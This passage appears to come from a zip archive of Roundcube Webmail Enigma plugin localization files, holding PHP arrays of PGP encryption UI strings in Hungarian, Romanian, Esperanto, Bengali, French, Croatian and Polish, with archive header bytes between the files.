$labels['newkeytype'] = 'Kulcs tipus';
$labels['rsa2048'] = 'RSA - 2048 bit';
$labels['rsa4096'] = 'RSA - 4096 bit';
$labels['ecckeypair'] = 'ECC (Elliptic Curve)';
$labels['keygenerating'] = 'Kulcsok generálása…';
$labels['encryptionoptions'] = 'Titkosítási beállítások...';
$labels['encryptmsg'] = 'Titkosítsa ezt az üzenetet';
$labels['signmsg'] = 'Ennek az üzenetnek  a digtális aláírása';
$labels['sendunencrypted'] = 'Küldés titkosítatlanul';
$labels['enterkeypasstitle'] = 'Írd be a jelmondatot';
$labels['enterkeypass'] = 'Jelmondat(passphrase) szükséges a titkos kulcs ($keyid)  felhasznlóhoz ($user) feloldásához. ';
$labels['attachpubkeymsg'] = 'A nyilvános kulcsom csatolása';
$labels['keyexportprompt'] = 'A mentett OpenPGP kulcsoknál legyenek-e tárolva a titkos kulcsok is?';
$labels['onlypubkeys'] = 'Csak a nyilvános kulcsok exportálása';
$labels['withprivkeys'] = 'Titkos kucsok exportálása';
$labels['findkey'] = 'Keresés a kulcs szerver(ek)en';
$labels['keyimportlabel'] = 'Importálás fájlból';
$labels['keyimportsearchlabel'] = 'Keresés a kulcs szerver(ek)en';
$labels['managekeys'] = 'PGP kulcsok kezelése';
$labels['identitymatchingprivkeys'] = '$nr egyező PGP privát kulcs van  a kulcskarikádon: ';
$labels['identitynoprivkeys'] = 'Ennek a küldőnek még nincs meg a PGP privát kulcsa a kulcskarikádon.';
$labels['arialabelkeyexportoptions'] = 'Kulcsok exportálásához opciók';
$labels['arialabelkeysearchform'] = 'Kulcs kereső űrlap';
$labels['arialabelkeyoptions'] = 'Kulcs opciók';
$messages['sigvalid'] = 'A $sender feladó aláírása ellenőrízve.';
$messages['sigvalidpartial'] = 'A $sender feladó aláírása ellenőrízve, de részei az üzenetnek nem voltak aláírva.';
$messages['siginvalid'] = 'Érvénytelen aláírás a következő feladótól: $sender';
$messages['sigunverified'] = 'Nem ellenörzött aláírás. A tanúsítvány nem ellenőrzött. Tanusítvány ID: $keyid.';
$messages['signokey'] = 'Nem ellenörzött aláírás. Nyilvános kulcs nem található. Kulcs ID: $keyid.';
$messages['sigerror'] = 'Nem ellenörzött aláírás. Belső hiba.';
$messages['decryptok'] = 'Üzenet ki-tikosítva.';
$messages['decrypterror'] = 'Visszafejtés sikertelen.';
$messages['decryptnokey'] = 'Visszafejtés sikertelen. Nyilvános nem található. Kulcs ID: $keyid.';
$messages['decryptnomdc'] = 'Visszafejtás átugorva. Az üzenet integritása nincs védve.';
$messages['decryptbadpass'] = 'Visszafejtés sikertelen. Hibás jelszó.';
$messages['decryptnopass'] = 'Visszafejtés sikertelen. A kulcshoz jelszó kell.';
$messages['decryptpartial'] = 'Visszafejtés sikeres, de néhány része az üzenetnek nem volt titkosítva.';
$messages['signerror'] = 'Aláírás sikertelen.';
$messages['signnokey'] = 'Aláírás sikertelen. Nyilvános kulcs nem található.';
$messages['signbadpass'] = 'Aláírás sikertelen. Hibás jelszó.';
$messages['signnopass'] = 'Aláírás sikertelen. A kulcshoz jelszó kell.';
$messages['encrypterror'] = 'Titkosítás sikertelen.';
$messages['encryptnokey'] = 'Titkosítás sikertelen. Nyilvás kulcs nem található a következőhöz: $email.';
$messages['encryptnoprivkey'] = 'A titkosítás sikertelen. A magánkulcs nem található.';
$messages['nokeysfound'] = 'Nem  találhatóak kulcsok';
$messages['keynotfound'] = 'A kulcs nem található!';
$messages['keyopenerror'] = 'A kulcs információk lekérésés nem lehetséges. Belső hiba.';
$messages['keylisterror'] = 'A kulcsok listázása nem sikerült. Belső hiba.';
$messages['keysimportfailed'] = 'A kulcs(ok) importálása sikertlelen. Belső hiba.';
$messages['keysimportsuccess'] = 'A kulcs(ok) importálása sikeres. Importálva: $new, változatlan: $old.';
$messages['keyremoving'] = 'Kulcs(ok) eltávolítása...';
$messages['keyremoveconfirm'] = 'Biztosan törölni szeretnéd a kiválasztott kulcso(ka)t?';
$messages['keyremovesuccess'] = 'A kulcs(ok) sikeresen törölve';
$messages['keyremoveerror'] = 'Nem sikerült a kiválasztott kulcso(ka)t törölni.';
$messages['keyimporttext'] = 'Importálhatod a privát és nyilvános kulcsodat vagy a visszavonási aláírásokatr ASCII-Armor formátumban.';
$messages['keyimportsearchtext'] = 'A publikus kulcsokat keresheted az azonsító, a felhasználó név vagy a email cím alapján, majd közvetlenül beimportálhatod.';
$messages['keystoragenotice'] = 'Az összes publikus és privát kulcs a szerveren van tárolva.';
$messages['formerror'] = 'Tőltsd ki az ürlapot. Minden mező kitöltése kötelező!';
$messages['passwordsdiffer'] = 'A jelszavak nem egyeznek!';
$messages['keygenerateerror'] = 'Nem sikerült a kulcs-pár létrehozása';
$messages['keygeneratesuccess'] = 'A kulcs-pár létrejött és sikeresen beimportálódott.';
$messages['keygennosupport'] = 'A böngésződ nem támogatja a titkosítást. A kulcs-pár nem hozható létre!';
$messages['noidentselected'] = 'Ki kell választanod legalább egy identitást a kulcshoz!';
$messages['nonameident'] = 'Egy identitásnak kötelező felhasználó nevet beállítani!';
$labels['newkeysize'] = 'Kulcs méret';
$labels['key2048'] = '2048 bit - alapértelemzett';
$labels['key4096'] = '4096 bit - biztonságosabb';
PKh�\��!ll%plugins/enigma/localization/ro_RO.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Criptare';
$labels['enigmacerts'] = 'Certificate S/MIME';
$labels['enigmakeys'] = 'Chei PGP';
$labels['keysfromto'] = 'Cheile de la $from la $to din $count';
$labels['keyname'] = 'Nume';
$labels['keyid'] = 'ID Cheie';
$labels['keyuserid'] = 'ID Utilizator';
$labels['keytype'] = 'Tip cheie';
$labels['fingerprint'] = 'Amprentă';
$labels['subkeys'] = 'Subchei';
$labels['basicinfo'] = 'Informații de bază';
$labels['userids'] = 'Utilizatori adiționali';
$labels['typepublickey'] = 'cheie publică';
$labels['typekeypair'] = 'cheie pereche';
$labels['keyattfound'] = 'Acest mesaj conține chei PGP  atașate.';
$labels['keyattimport'] = 'Importă chei';
$labels['typesign'] = 'Semnează';
$labels['typeencrypt'] = 'Criptează';
$labels['typecert'] = 'Certifică';
$labels['typeauth'] = 'Autentificare';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritm';
$labels['subkeycreated'] = 'Creat la';
$labels['subkeyexpires'] = 'Expiră la';
$labels['subkeyusage'] = 'Folosire';
$labels['expiresnever'] = 'niciodată';
$labels['unknown'] = 'necunoscut';
$labels['uservalid'] = 'Valid';
$labels['userid'] = 'ID';
$labels['valid'] = 'valid';
$labels['supportencryption'] = 'Activează criptare și semnare mesaj';
$labels['supportsignatures'] = 'Activează verificare semnături mesaj';
$labels['supportdecryption'] = 'Activează decriptare mesaj';
$labels['signdefault'] = 'Semnează toate mesajele în mod prestabilit';
$labels['encryptdefault'] = 'Criptează toate mesajele în mod prestabilit';
$labels['attachpubkeydefault'] = 'Atașează cheia mea publică PGP implicit';
$labels['passwordtime'] = 'Păstrează parola cheii private pentru';
$labels['nminutes'] = '$m minut(e)';
$labels['wholesession'] = 'toată sesiunea';
$labels['createkeys'] = 'Creează cheie pereche nouă';
$labels['importkeys'] = 'Importă chei(e)';
$labels['exportkeys'] = 'Expertă chei(e)';
$labels['keyactions'] = 'Acțiuni cheie';
$labels['keyremove'] = 'Elimină';
$labels['keydisable'] = 'Dezactivează';
$labels['keyrevoke'] = 'Revocă';
$labels['keysend'] = 'Trimite cheie publică în mesaj';
$labels['keychpass'] = 'Schimbă parola';
$labels['newkeypass'] = 'Parolă';
$labels['newkeytype'] = 'Tip cheie';
$labels['keygenerating'] = 'Se generează cheile...';
$labels['encryptionoptions'] = 'Opțiuni criptare';
$labels['encryptmsg'] = 'Criptează acest mesaj';
$labels['signmsg'] = 'Semnează digital acest mesaj';
$labels['enterkeypasstitle'] = 'Introdu fraza de acces cheie';
$labels['enterkeypass'] = 'O frază de acces este necesară pentru a debloca cheia secretă ($keyid) pentru utilizatorul: $user.';
$labels['attachpubkeymsg'] = 'Atașează cheia mea publică';
$labels['keyexportprompt'] = 'Vrei să incluzi cheile secrete în fișierul de chei OpenPGP salvat?';
$labels['onlypubkeys'] = 'Exportă doar Cheile Publice';
$labels['withprivkeys'] = 'Exportă Cheile Secrete';
$labels['findkey'] = 'Caută în serverele de chei';
$labels['keyimportlabel'] = 'Importă din fișier';
$labels['keyimportsearchlabel'] = 'Caută în serverele de chei';
$labels['arialabelkeyexportoptions'] = 'Opțiuni export chei';
$messages['sigvalid'] = 'Semnătură $sender verificată.';
$messages['sigvalidpartial'] = 'Semnătură $sender verificată, dar parte a mesajului nu a fost semnat.';
$messages['siginvalid'] = 'Semnătură nevalidă de la $sender.';
$messages['sigunverified'] = 'Semnătură neverificată. Certificat neverificat. ID Certificat: $keyid.';
$messages['signokey'] = 'Semnătură neverificată. Cheie publică negăsită. ID Cheie: $keyid.';
$messages['sigerror'] = 'Semnătura neconfirmată. Eroare internă.';
$messages['decryptok'] = 'Mesajul a fost decriptat.';
$messages['decrypterror'] = 'Decriptarea a eșuat.';
$messages['decryptnokey'] = 'Decriptarea a eșuat. Cheie privată negăsită. ID Cheie: $keyid.';
$messages['decryptbadpass'] = 'Decriptarea a eșuat. Parolă nevalidă.';
$messages['decryptnopass'] = 'Decriptarea a eșuat. Parola este obligatorie.';
$messages['decryptpartial'] = 'Mesaj decriptat, dar parte a mesajului nu a fost criptat.';
$messages['signerror'] = 'Semnarea a eșuat.';
$messages['signnokey'] = 'Semnarea a eșuat. Cheia privată nu a fost găsită.';
$messages['signbadpass'] = 'Semnarea a eșuat. Parolă nevalidă.';
$messages['signnopass'] = 'Semnarea a eșuat. Parolă cheie necesară.';
$messages['encrypterror'] = 'Criptarea a eșuat.';
$messages['encryptnokey'] = 'Criptarea a eșuat. Cheia publică nu a fost găsită pentru $email.';
$messages['nokeysfound'] = 'Nici o cheie găsită';
$messages['keynotfound'] = 'Cheia nu a fost găsită!';
$messages['keyopenerror'] = 'Imposibil de preluat informații cheie! Eroare internă.';
$messages['keylisterror'] = 'Imposibil de afișat chei! Eroare internă.';
$messages['keysimportfailed'] = 'Imposibil de importat chei(e)! Eroare internă.';
$messages['keysimportsuccess'] = 'Chei importate cu succes. Importate: $new, neschimbate: $old.';
$messages['keyremoving'] = 'Se elimină cheile...';
$messages['keyremoveconfirm'] = 'Ești sigur că vrei să ștergi cheile selectate?';
$messages['keyremovesuccess'] = 'Chei eliminate cu succes';
$messages['keyremoveerror'] = 'Imposibil de șters cheile selectate.';
$messages['keyimporttext'] = 'Poți importa chei private și publice sau semnături de revocare în format ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Poți căuta chei publice după identificatorul de cheie, numele de utilizator sau adresa de e-mail și apoi le poți importa direct.';
$messages['formerror'] = 'Te rog completează formularul. Toate câmpurile sunt necesare!';
$messages['passwordsdiffer'] = 'Parolele nu se potrivesc!';
$messages['keygenerateerror'] = 'Nu s-a putut genera cheia pereche';
$messages['keygeneratesuccess'] = 'Cheia pereche a fost generată și importată cu succes.';
$messages['keygennosupport'] = 'Browserul dvs. web nu acceptă criptografia. Imposibil de generat cheia pereche!';
$messages['noidentselected'] = 'Trebuie sa alegi cel puțin o identitate pentru cheie!';
$messages['nonameident'] = 'Identitatea trebuie să aibă definit un nume de utilizator!';
$labels['key2048'] = '2048 biți - implicit';
$labels['key4096'] = '4096 biți - mult mai sigur';
PKh�\�қ�"plugins/enigma/localization/eo.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['subkeycreated'] = 'Kreita';
$labels['expiresnever'] = 'neniam';
$labels['unknown'] = 'nekonata';
$labels['newkeypass'] = 'Pasvorto';
PKh�\�� M��%plugins/enigma/localization/bn_BD.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'কখোনোই না';
$labels['unknown'] = 'অজানা';
$labels['newkeypass'] = 'গোপোন শব্দ (password)';
PKh�\��&�!�!%plugins/enigma/localization/fr_FR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Chiffrement';
$labels['enigmacerts'] = 'Certificats S/MIME';
$labels['enigmakeys'] = 'Clés PGP';
$labels['keysfromto'] = 'Clés $from à $to sur $count';
$labels['keyname'] = 'Nom';
$labels['keyid'] = 'ID de clé';
$labels['keyuserid'] = 'ID utilisateur';
$labels['keytype'] = 'Type de clé';
$labels['fingerprint'] = 'Empreinte';
$labels['subkeys'] = 'Sous-clés';
$labels['keyprops'] = 'Propriétés de la clé';
$labels['basicinfo'] = 'Renseignements de base';
$labels['userids'] = 'Utilisateurs supplémentaires';
$labels['typepublickey'] = 'clé publique';
$labels['typekeypair'] = 'biclé';
$labels['keyattfound'] = 'Ce courriel contient des clés PGP jointes.';
$labels['keyattimport'] = 'Importer des clés';
$labels['typesign'] = 'Signer';
$labels['typeencrypt'] = 'Chiffrer';
$labels['typecert'] = 'Certifier';
$labels['typeauth'] = 'Authentification';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algorithme';
$labels['subkeycreated'] = 'Créée';
$labels['subkeyexpires'] = 'Expire le';
$labels['subkeyusage'] = 'Utilisation';
$labels['expiresnever'] = 'jamais';
$labels['unknown'] = 'inconnu';
$labels['uservalid'] = 'Valide';
$labels['userid'] = 'ID';
$labels['valid'] = 'valide';
$labels['supportencryption'] = 'Activer la signature et le chiffrement des courriels';
$labels['supportsignatures'] = 'Activer la vérification des signatures des courriels';
$labels['supportdecryption'] = 'Activer le déchiffrement des courriels';
$labels['signdefault'] = 'Par défaut, signer tous les courriels';
$labels['encryptdefault'] = 'Par défaut, chiffrer tous les courriels';
$labels['attachpubkeydefault'] = 'Par défaut, joindre ma clé PGP publique';
$labels['passwordtime'] = 'Conserver les mots de passe des clés privées pendant';
$labels['nminutes'] = '$m minute(s)';
$labels['wholesession'] = 'la session complète';
$labels['createkeys'] = 'Créer une nouvelle biclé';
$labels['importkeys'] = 'Importer des clés';
$labels['exportkeys'] = 'Exporter des clés';
$labels['keyactions'] = 'Actions des clés…';
$labels['keyremove'] = 'Supprimer';
$labels['keydisable'] = 'Désactiver';
$labels['keyrevoke'] = 'Révoquer';
$labels['keysend'] = 'Envoyer la clé publique dans un courriel';
$labels['keychpass'] = 'Changer le mot de passe';
$labels['keyadd'] = 'Ajouter une clé';
$labels['newkeyident'] = 'Identité';
$labels['newkeypass'] = 'Mot de passe';
$labels['newkeypassconfirm'] = 'Confirmer le mot de passe';
$labels['newkeytype'] = 'Type de clé';
$labels['rsa2048'] = 'RSA – 2048 bits';
$labels['rsa4096'] = 'RSA – 4096 bits';
$labels['ecckeypair'] = 'ECC (Courbe elliptique)';
$labels['keygenerating'] = 'Génération des clés…';
$labels['encryptionoptions'] = 'Options de chiffrement…';
$labels['encryptmsg'] = 'Chiffrer ce courriel';
$labels['signmsg'] = 'Signer numériquement ce courriel';
$labels['sendunencrypted'] = 'Envoyer non chiffré';
$labels['enterkeypasstitle'] = 'Saisir la phrase de passe de la clé';
$labels['enterkeypass'] = 'Un phrase de passe est nécessaire pour débloquer la clé secrète ($keyid) pour l’utilisateur : $user.';
$labels['attachpubkeymsg'] = 'Joindre ma clé publique';
$labels['keyexportprompt'] = 'Voulez-vous inclure les clés secrètes dans le fichier des clés OpenPGP enregistrées ?';
$labels['onlypubkeys'] = 'Exporter seulement les clés publiques';
$labels['withprivkeys'] = 'Exporter les clés secrètes';
$labels['findkey'] = 'Rechercher sur les serveurs de clés';
$labels['keyimportlabel'] = 'Importer d’un fichier';
$labels['keyimportsearchlabel'] = 'Rechercher sur les serveurs de clés';
$labels['managekeys'] = 'Gérer les clés PGP';
$labels['identitymatchingprivkeys'] = 'Vous avez $nr clés PGP privées correspondantes enregistrées dans votre trousseau :';
$labels['identitynoprivkeys'] = 'Cette identité d’expéditeur n’a pas encore de clé PGP privée enregistrée dans votre trousseau.';
$labels['arialabelkeyexportoptions'] = 'Options d’exportation des clés';
$labels['arialabelkeysearchform'] = 'Formulaire de recherche de clés';
$labels['arialabelkeyoptions'] = 'Options des clés';
$messages['sigvalid'] = 'Signature vérifiée de $sender.';
$messages['sigvalidpartial'] = 'La signature de $sender a été vérifiée, mais une partie du corps n’était pas signée.';
$messages['siginvalid'] = 'Signature invalide de $sender.';
$messages['sigunverified'] = 'Signature non vérifiée. Certificat non vérifié. ID de certificat : $keyid.';
$messages['signokey'] = 'Signature non vérifiée. Clé publique introuvable. ID de clé : $keyid.';
$messages['sigerror'] = 'Signature non vérifiée. Erreur interne.';
$messages['decryptok'] = 'Courriel déchiffré.';
$messages['decrypterror'] = 'Échec de déchiffrement.';
$messages['decryptnokey'] = 'Échec de déchiffrement. Clé privée introuvable. ID de clé : $keyid.';
$messages['decryptnomdc'] = 'Le déchiffrement a été ignoré. L’intégrité du message n’est pas protégée.';
$messages['decryptbadpass'] = 'Échec de déchiffrement. Le mot de passe est invalide.';
$messages['decryptnopass'] = 'Échec de déchiffrement. Le mot de passe de la clé est exigé.';
$messages['decryptpartial'] = 'Le courriel a été déchiffré, mais une partie du corps n’était pas chiffré.';
$messages['signerror'] = 'Échec de signature.';
$messages['signnokey'] = 'Échec de signature. La clé privée est introuvable.';
$messages['signbadpass'] = 'Échec de signature. Le mot de passe est invalide.';
$messages['signnopass'] = 'Échec de signature. Le mot de passe de la clé est exigé.';
$messages['encrypterror'] = 'Échec de chiffrement.';
$messages['encryptnokey'] = 'Échec de chiffrement. La clé publique est introuvable pour $email.';
$messages['encryptnoprivkey'] = 'Échec de chiffrement. La clé privée est introuvable.';
$messages['nokeysfound'] = 'Aucune clé n’a été trouvée';
$messages['keynotfound'] = 'La clé est introuvable';
$messages['keyopenerror'] = 'Impossible d’obtenir les Renseignements de la clé. Erreur interne.';
$messages['keylisterror'] = 'Impossible de lister les clés. Erreur interne.';
$messages['keysimportfailed'] = 'Impossible d’importer les clés. Erreur interne.';
$messages['keysimportsuccess'] = 'Importation de clé réussie. Importées : $new, non modifiées : $old.';
$messages['keyremoving'] = 'Suppression de des clés…';
$messages['keyremoveconfirm'] = 'Voulez-vous vraiment supprimer les clés sélectionnées ?';
$messages['keyremovesuccess'] = 'Clés supprimées avec succès';
$messages['keyremoveerror'] = 'Impossible de supprimer les clés sélectionnées';
$messages['keyimporttext'] = 'Vous pouvez importer des clés privées et publiques ou des signatures de révocation au format ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Vous pouvez chercher des clés publiques par identifiant de clé, nom d’utilisateur ou adresse courriel, et ensuite les importer directement.';
$messages['keystoragenotice'] = 'Toutes les clés publiques et privées sont stockées sur le serveur.';
$messages['formerror'] = 'Veuillez remplir le formulaire. Tous les champs sont requis.';
$messages['passwordsdiffer'] = 'Les mots de passe ne correspondent pas';
$messages['keygenerateerror'] = 'La génération de la biclé a échoué';
$messages['keygeneratesuccess'] = 'Une biclé a été générée et importée avec succès.';
$messages['keygennosupport'] = 'Votre navigateur ne prend pas en charge le chiffrement. Activez-le pour générer une biclé';
$messages['noidentselected'] = 'Vous devez choisir au moins une identité pour la clé';
$messages['nonameident'] = 'Un nom d’utilisateur doit être défini pour l’identité';
$labels['newkeysize'] = 'Taille de la clé';
$labels['key2048'] = '2048 bits – par défaut';
$labels['key4096'] = '4096 bits – plus sécurisé';
PKh�\��Z��%plugins/enigma/localization/hr_HR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Šifriranje';
$labels['enigmacerts'] = 'S/MIME certifikati';
$labels['enigmakeys'] = 'PGP ključevi';
$labels['keysfromto'] = 'Ključevi $from do $to od $count';
$labels['keyname'] = 'Naziv';
$labels['keyid'] = 'ID ključa';
$labels['keyuserid'] = 'Korisnički ID';
$labels['keytype'] = 'Vrsta ključa';
$labels['fingerprint'] = 'Otisak prsta';
$labels['subkeys'] = 'Podključevi';
$labels['keyprops'] = 'Svojstva ključa';
$labels['basicinfo'] = 'Osnovne informacije';
$labels['userids'] = 'Dodatni korisnici';
$labels['typepublickey'] = 'javni ključ';
$labels['keyattfound'] = 'Ova poruka sadrži priložen(e) PGP ključ(eve).';
$labels['keyattimport'] = 'Uvezi ključ(eve)';
$labels['typeencrypt'] = 'Šifriraj';
$labels['typeauth'] = 'Utvrđivanje identiteta';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritam';
$labels['subkeycreated'] = 'Stvoreno';
$labels['subkeyexpires'] = 'Istječe';
$labels['subkeyusage'] = 'Uporaba';
$labels['expiresnever'] = 'nikad';
$labels['unknown'] = 'nepoznato';
$labels['uservalid'] = 'Vrijedi';
$labels['userid'] = 'ID';
$labels['valid'] = 'vrijedni';
$labels['supportencryption'] = 'Omogući šifriranje i potpisivanje poruke';
$labels['supportsignatures'] = 'Omogući potvrđivanje potpisa poruke';
$labels['supportdecryption'] = 'Omogući dešifriranje poruke';
$labels['signdefault'] = 'Zadano potpisuj sve poruke';
$labels['encryptdefault'] = 'Zadano šifriraj sve poruke';
$labels['attachpubkeydefault'] = 'Zadano priloži moj javni PGP ključ';
$labels['nminutes'] = '$m minut(a)';
$labels['wholesession'] = 'cijela sesija';
$labels['importkeys'] = 'Uvezi ključ(eve)';
$labels['exportkeys'] = 'Izvezi ključ(eve)';
$labels['keyremove'] = 'Ukloni';
$labels['keydisable'] = 'Onemogući';
$labels['keyrevoke'] = 'Opozovi';
$labels['keysend'] = 'Pošalji u poruci javni ključ';
$labels['keychpass'] = 'Promjena zaporke';
$labels['newkeyident'] = 'Identitet';
$labels['newkeypass'] = 'Lozinka';
$labels['newkeypassconfirm'] = 'Potvrdi lozinku';
$labels['newkeytype'] = 'Vrsta ključa';
$labels['keygenerating'] = 'Stvaranje ključeva...';
$labels['encryptionoptions'] = 'Mogućnosti šifriranja...';
$labels['encryptmsg'] = 'Šifriraj ovu poruku';
$labels['signmsg'] = 'Digitalno potpiši ovu poruku';
$labels['sendunencrypted'] = 'Pošalji nešifrirano';
$labels['attachpubkeymsg'] = 'Priloži moj javni ključ';
$labels['keyexportprompt'] = 'Želite li uključiti tajne ključeve iz datoteke OpenPGP ključeva?';
$labels['onlypubkeys'] = 'Izvezi samo javne ključeve';
$labels['withprivkeys'] = 'Izvezi tajne ključeve';
$labels['keyimportlabel'] = 'Uvezi iz datoteke';
$labels['managekeys'] = 'Upravljaj PGP ključevima';
$labels['arialabelkeyexportoptions'] = 'Mogućnosti izvoza ključeva';
$messages['decryptok'] = 'Poruka dešifrirana.';
$messages['decrypterror'] = 'Dešifriranje neuspješno.';
$messages['decryptnokey'] = 'Dešifriranje neuspješno. Nije pronađen privatni ključ. ID ključa: $keyid.';
$messages['decryptbadpass'] = 'Dešifriranje neuspješno. Netočna lozinka.';
$messages['signerror'] = 'Potpisivanje neuspješno.';
$messages['signnokey'] = 'Potpisivanje neuspješno. Privatni ključ nije pronađen.';
$messages['signbadpass'] = 'Potpisivanje neuspješno. Netočna lozinka.';
$messages['encrypterror'] = 'Šifriranje neuspješno.';
$messages['nokeysfound'] = 'Ključevi nisu pronađeni';
$messages['keynotfound'] = 'Ključ nije pronađen!';
$messages['keyremoveconfirm'] = 'Jeste li sigurni da želite obrisati označeni(e) ključ(eve)?';
$messages['keyremovesuccess'] = 'Ključ(evi) uspješno obrisani';
$messages['keyremoveerror'] = 'Označeni(e) ključ(eve) nije moguće obrisati.';
$messages['formerror'] = 'Molimo popunite obrazac. Sva su polja obvezna!';
$messages['passwordsdiffer'] = 'Lozinke se ne podudaraju!';
$labels['newkeysize'] = 'Veličina ključa';
$labels['key2048'] = '2048 bitova - zadano';
$labels['key4096'] = '4096 bita - sigurnije';
PKh�\�����%plugins/enigma/localization/pl_PL.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Szyfrowanie';
$labels['enigmacerts'] = 'Certyfikaty S/MIME';
$labels['enigmakeys'] = 'Klucze PGP';
$labels['keysfromto'] = 'Klucze od $from do $to z $count';
$labels['keyname'] = 'Nazwa';
$labels['keyid'] = 'Id klucza';
$labels['keyuserid'] = 'Id użytkownika';
$labels['keytype'] = 'Typ klucza';
$labels['fingerprint'] = 'Odcisk palca';
$labels['subkeys'] = 'Podklucze';
$labels['keyprops'] = 'Właściwości klucza';
$labels['basicinfo'] = 'Informacje podstawowe';
$labels['userids'] = 'Dodatkowi użytkownicy';
$labels['typepublickey'] = 'klucz publiczny';
$labels['typekeypair'] = 'para kluczy';
$labels['keyattfound'] = 'Ta wiadomość zawiera załączone klucze PGP.';
$labels['keyattimport'] = 'Importuj klucz(e)';
$labels['typesign'] = 'Podpisz';
$labels['typeencrypt'] = 'Szyfruj';
$labels['typecert'] = 'Certyfikuj';
$labels['typeauth'] = 'Uwierzytelnianie';
$labels['subkeyid'] = 'Id';
$labels['subkeyalgo'] = 'Algorytm';
$labels['subkeycreated'] = 'Utworzony';
$labels['subkeyexpires'] = 'Wygasa';
$labels['subkeyusage'] = 'Zastosowanie';
$labels['expiresnever'] = 'nigdy';
$labels['unknown'] = 'nieznany';
$labels['uservalid'] = 'Ważny';
$labels['userid'] = 'Id';
$labels['valid'] = 'ważny';
$labels['supportencryption'] = 'Włącz szyfrowanie i podpisywanie wiadomości';
$labels['supportsignatures'] = 'Włącz weryfikację podpisów wiadomości';
$labels['supportdecryption'] = 'Włącz rozszyfrowywanie wiadomości';
$labels['signdefault'] = 'Domyślnie podpisuj wiadomości';
$labels['encryptdefault'] = 'Domyślnie szyfruj wiadomości';
$labels['attachpubkeydefault'] = 'Zawsze załączaj mój klucz publiczny PGP';
$labels['passwordtime'] = 'Przechowuj hasła kluczy prywatnych przez';
$labels['nminutes'] = '$m minut';
$labels['wholesession'] = 'cała sesja';
$labels['createkeys'] = 'Utwórz nową parę kluczy';
$labels['importkeys'] = 'Importuj klucz(e)';
$labels['exportkeys'] = 'Eksportuj klucz(e)';
$labels['keyactions'] = 'Akcje kluczy...';
$labels['keyremove'] = 'Usuń';
$labels['keydisable'] = 'Wyłącz';
$labels['keyrevoke'] = 'Unieważnij';
$labels['keysend'] = 'Wyślij klucz publiczny w wiadomości';
$labels['keychpass'] = 'Zmień hasło';
$labels['keyadd'] = 'Dodaj klucz';
$labels['newkeyident'] = 'Tożsamość';
$labels['newkeypass'] = 'Hasło';
$labels['newkeypassconfirm'] = 'Potwierdź hasło';
$labels['newkeytype'] = 'Typ klucza';
$labels['rsa2048'] = 'RSA - 2048 bitów';
$labels['rsa4096'] = 'RSA - 4096 bitów';
$labels['ecckeypair'] = 'ECC (krzywe eliptyczne)';
$labels['keygenerating'] = 'Generowanie kluczy...';
$labels['encryptionoptions'] = 'Opcje szyfrowania...';
$labels['encryptmsg'] = 'Szyfruj wiadomość';
$labels['signmsg'] = 'Podpisz wiadomość';
$labels['sendunencrypted'] = 'Wyślij niezaszyfrowaną';
$labels['enterkeypasstitle'] = 'Wprowadź hasło klucza';
$labels['enterkeypass'] = 'Wymagane jest hasło do klucza ($keyid) użytkownika: $user.';
$labels['attachpubkeymsg'] = 'Załącz mój klucz publiczny';
$labels['keyexportprompt'] = 'Czy chcesz dołączyć klucze prywatne do utworzonego pliku kluczy PGP?';
$labels['onlypubkeys'] = 'Eksportuj tylko klucze publiczne';
$labels['withprivkeys'] = 'Eksportuj klucze prywatne';
$labels['findkey'] = 'Wyszukaj na serwerach kluczy';
$labels['keyimportlabel'] = 'Import z pliku';
$labels['keyimportsearchlabel'] = 'Wyszukiwanie na serwerach kluczy';
$labels['managekeys'] = 'Zarządzaj kluczami PGP';
